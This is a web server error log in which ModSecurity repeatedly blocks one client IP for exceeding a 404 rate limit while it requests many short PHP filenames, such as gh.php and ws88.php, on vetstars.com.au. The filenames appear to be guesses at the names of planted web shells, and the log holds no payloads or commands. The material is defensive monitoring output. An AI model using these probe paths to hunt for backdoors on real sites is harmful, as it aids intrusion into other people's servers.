[Sun Apr 19 23:37:32.597607 2026] [:error] [pid 15694:tid 15749] [client 20.215.51.14:7140] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a8.php"] [unique_id "aeT2vLimB-jol1fwqAodtgAAAZc"]
[Sun Apr 19 23:37:33.497941 2026] [:error] [pid 47775:tid 47845] [client 20.215.51.14:6995] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a8.php"] [unique_id "aeT2vbmztjlk9tsmoewv_gAAAII"]
[Sun Apr 19 23:37:34.161231 2026] [:error] [pid 15764:tid 15845] [client 20.215.51.14:6891] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeT2vmLL_sqdSHoVp-RJqQAAAlM"]
[Sun Apr 19 23:37:35.124002 2026] [:error] [pid 15760:tid 15789] [client 20.215.51.14:7043] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeT2v_SdD_XHQMJ_ISt2RwAAAdU"]
[Sun Apr 19 23:37:35.734084 2026] [:error] [pid 47772:tid 47797] [client 20.215.51.14:7151] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeT2v4c0L16cb4smAz_m0AAAAAg"]
[Sun Apr 19 23:37:36.505564 2026] [:error] [pid 47886:tid 47900] [client 20.215.51.14:7149] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jnhddqyz.php"] [unique_id "aeT2wESe8yiyuPrD7yOLrwAAAMw"]
[Sun Apr 19 23:37:37.467663 2026] [:error] [pid 47886:tid 47899] [client 20.215.51.14:7059] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dyxbc.php"] [unique_id "aeT2wUSe8yiyuPrD7yOLsAAAAMs"]
[Sun Apr 19 23:37:38.240311 2026] [:error] [pid 47773:tid 47835] [client 20.215.51.14:7010] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dyxbc.php"] [unique_id "aeT2wuiBHdnCJDuPq9BgHgAAAFM"]
[Sun Apr 19 23:37:39.034357 2026] [:error] [pid 15765:tid 15867] [client 20.215.51.14:7092] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dyxbc.php"] [unique_id "aeT2w_Rqinw-W5EwQ74OjQAAAo4"]
[Sun Apr 19 23:37:39.759757 2026] [:error] [pid 15693:tid 15700] [client 20.215.51.14:6945] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dyxbc.php"] [unique_id "aeT2w8NMD-ccazQlTsloBgAAAUQ"]
[Sun Apr 19 23:37:40.593683 2026] [:error] [pid 15765:tid 15873] [client 20.215.51.14:6994] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeT2xPRqinw-W5EwQ74OkAAAApQ"]
[Sun Apr 19 23:37:41.376944 2026] [:error] [pid 15763:tid 15811] [client 20.215.51.14:7069] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeT2xbMXv1Y1THOoxaAdlgAAAg8"]
[Sun Apr 19 23:37:42.137759 2026] [:error] [pid 15764:tid 15831] [client 20.215.51.14:7001] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeT2xmLL_sqdSHoVp-RJrgAAAkU"]
[Sun Apr 19 23:37:42.974037 2026] [:error] [pid 47772:tid 47812] [client 20.215.51.14:6992] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeT2xoc0L16cb4smAz_m3QAAABc"]
[Sun Apr 19 23:37:43.561621 2026] [:error] [pid 47773:tid 47832] [client 20.215.51.14:7096] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a9.php"] [unique_id "aeT2x-iBHdnCJDuPq9BgHwAAAFA"]
[Sun Apr 19 23:37:44.241481 2026] [:error] [pid 47886:tid 47894] [client 20.215.51.14:6926] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a9.php"] [unique_id "aeT2yESe8yiyuPrD7yOLtQAAAMY"]
[Sun Apr 19 23:37:45.143852 2026] [:error] [pid 15764:tid 15847] [client 20.215.51.14:7136] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a9.php"] [unique_id "aeT2yWLL_sqdSHoVp-RJsAAAAlU"]
[Sun Apr 19 23:37:45.983632 2026] [:error] [pid 15765:tid 15874] [client 20.215.51.14:7066] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a9.php"] [unique_id "aeT2yfRqinw-W5EwQ74OlAAAApU"]
[Sun Apr 19 23:37:46.841287 2026] [:error] [pid 15760:tid 15775] [client 20.215.51.14:6866] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/camara.php"] [unique_id "aeT2yvSdD_XHQMJ_ISt2TAAAAcc"]
[Sun Apr 19 23:37:47.507232 2026] [:error] [pid 15764:tid 15840] [client 20.215.51.14:7045] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/camara.php"] [unique_id "aeT2y2LL_sqdSHoVp-RJuAAAAk4"]
[Sun Apr 19 23:37:48.215704 2026] [:error] [pid 15765:tid 15859] [client 20.215.51.14:7057] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/camara.php"] [unique_id "aeT2zPRqinw-W5EwQ74OmAAAAoY"]
[Sun Apr 19 23:37:48.928412 2026] [:error] [pid 15764:tid 15839] [client 20.215.51.14:7124] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/camara.php"] [unique_id "aeT2zGLL_sqdSHoVp-RJvQAAAk0"]
[Sun Apr 19 23:37:49.815441 2026] [:error] [pid 47773:tid 47822] [client 20.215.51.14:7167] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aeT2zeiBHdnCJDuPq9BgJQAAAEY"]
[Sun Apr 19 23:37:50.662711 2026] [:error] [pid 15765:tid 15857] [client 20.215.51.14:7082] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aeT2zvRqinw-W5EwQ74OmwAAAoQ"]
[Sun Apr 19 23:37:51.351980 2026] [:error] [pid 47773:tid 47830] [client 20.215.51.14:7122] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aeT2z-iBHdnCJDuPq9BgLAAAAE4"]
[Sun Apr 19 23:37:52.284721 2026] [:error] [pid 47772:tid 47803] [client 20.215.51.14:7099] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mds.php"] [unique_id "aeT20Ic0L16cb4smAz_m4AAAAA4"]
[Sun Apr 19 23:37:53.000121 2026] [:error] [pid 15763:tid 15803] [client 20.215.51.14:7007] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aeT20LMXv1Y1THOoxaAdlwAAAgc"]
[Sun Apr 19 23:37:53.889179 2026] [:error] [pid 15694:tid 15739] [client 20.215.51.14:6939] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aeT20bimB-jol1fwqAoduwAAAY0"]
[Sun Apr 19 23:37:54.595351 2026] [:error] [pid 15763:tid 15815] [client 20.215.51.14:7112] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aeT20rMXv1Y1THOoxaAdnQAAAhM"]
[Sun Apr 19 23:37:55.380658 2026] [:error] [pid 15694:tid 15751] [client 20.215.51.14:7012] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gh.php"] [unique_id "aeT207imB-jol1fwqAodvQAAAZg"]
[Sun Apr 19 23:37:56.206120 2026] [:error] [pid 15765:tid 15862] [client 20.215.51.14:6859] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0yellow.php"] [unique_id "aeT21PRqinw-W5EwQ74OnwAAAok"]
[Sun Apr 19 23:37:56.900959 2026] [:error] [pid 15764:tid 15836] [client 20.215.51.14:7052] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0yellow.php"] [unique_id "aeT21GLL_sqdSHoVp-RJxQAAAko"]
[Sun Apr 19 23:37:57.768773 2026] [:error] [pid 15765:tid 15855] [client 20.215.51.14:7015] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0yellow.php"] [unique_id "aeT21fRqinw-W5EwQ74OogAAAoI"]
[Sun Apr 19 23:37:58.544901 2026] [:error] [pid 15694:tid 15725] [client 20.215.51.14:7022] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0yellow.php"] [unique_id "aeT21rimB-jol1fwqAodvwAAAYI"]
[Sun Apr 19 23:37:59.263417 2026] [:error] [pid 15694:tid 15741] [client 20.215.51.14:6950] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "aeT217imB-jol1fwqAodwQAAAY8"]
[Sun Apr 19 23:38:00.230572 2026] [:error] [pid 47772:tid 47801] [client 20.215.51.14:7109] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "aeT22Ic0L16cb4smAz_m6QAAAAw"]
[Sun Apr 19 23:38:00.944750 2026] [:error] [pid 15764:tid 15848] [client 20.215.51.14:6974] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "aeT22GLL_sqdSHoVp-RJywAAAlY"]
[Sun Apr 19 23:38:01.680318 2026] [:error] [pid 47773:tid 47828] [client 20.215.51.14:7081] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpb.php"] [unique_id "aeT22eiBHdnCJDuPq9BgMgAAAEw"]
[Sun Apr 19 23:38:02.335334 2026] [:error] [pid 47772:tid 47794] [client 20.215.51.14:7060] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeT22oc0L16cb4smAz_m7QAAAAU"]
[Sun Apr 19 23:38:03.085652 2026] [:error] [pid 15763:tid 15814] [client 20.215.51.14:6874] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeT227MXv1Y1THOoxaAdswAAAhI"]
[Sun Apr 19 23:38:03.979395 2026] [:error] [pid 47772:tid 47795] [client 20.215.51.14:7009] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeT224c0L16cb4smAz_m8gAAAAY"]
[Sun Apr 19 23:38:05.112105 2026] [:error] [pid 47773:tid 47816] [client 20.215.51.14:7008] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeT23eiBHdnCJDuPq9BgNwAAAEA"]
[Sun Apr 19 23:38:05.854732 2026] [:error] [pid 15694:tid 15732] [client 20.215.51.14:7054] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aeT23bimB-jol1fwqAodxQAAAYY"]
[Sun Apr 19 23:38:06.626868 2026] [:error] [pid 15693:tid 15697] [client 20.215.51.14:6848] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aeT23sNMD-ccazQlTsloCAAAAUE"]
[Sun Apr 19 23:38:07.409907 2026] [:error] [pid 47772:tid 47793] [client 20.215.51.14:6869] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aeT234c0L16cb4smAz_m-QAAAAQ"]
[Sun Apr 19 23:38:08.057605 2026] [:error] [pid 47772:tid 47794] [client 20.215.51.14:7114] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aeT24Ic0L16cb4smAz_m_QAAAAU"]
[Sun Apr 19 23:38:08.894628 2026] [:error] [pid 15694:tid 15726] [client 20.215.51.14:7047] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aeT24LimB-jol1fwqAodywAAAYM"]
[Sun Apr 19 23:38:09.690833 2026] [:error] [pid 15763:tid 15797] [client 20.215.51.14:7077] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aeT24bMXv1Y1THOoxaAduwAAAgE"]
[Sun Apr 19 23:38:10.550626 2026] [:error] [pid 15763:tid 15809] [client 20.215.51.14:7004] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aeT24rMXv1Y1THOoxaAdvgAAAg0"]
[Sun Apr 19 23:38:11.233507 2026] [:error] [pid 15760:tid 15787] [client 20.215.51.14:7125] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "aeT24_SdD_XHQMJ_ISt2WwAAAdM"]
[Sun Apr 19 23:38:12.004809 2026] [:error] [pid 47775:tid 47844] [client 20.215.51.14:7069] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abhjr.php"] [unique_id "aeT25Lmztjlk9tsmoewwNwAAAIE"]
[Sun Apr 19 23:38:12.841309 2026] [:error] [pid 47772:tid 47792] [client 20.215.51.14:6893] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abhjr.php"] [unique_id "aeT25Ic0L16cb4smAz_nBQAAAAM"]
[Sun Apr 19 23:38:13.569894 2026] [:error] [pid 47886:tid 47908] [client 20.215.51.14:6792] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abhjr.php"] [unique_id "aeT25USe8yiyuPrD7yOLuQAAANQ"]
[Sun Apr 19 23:38:14.210687 2026] [:error] [pid 47773:tid 47828] [client 20.215.51.14:7156] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abhjr.php"] [unique_id "aeT25uiBHdnCJDuPq9BgSgAAAEw"]
[Sun Apr 19 23:38:15.121727 2026] [:error] [pid 15763:tid 15811] [client 20.215.51.14:7062] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeT257MXv1Y1THOoxaAdwAAAAg8"]
[Sun Apr 19 23:38:16.211631 2026] [:error] [pid 15763:tid 15796] [client 20.215.51.14:7166] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeT26LMXv1Y1THOoxaAdwgAAAgA"]
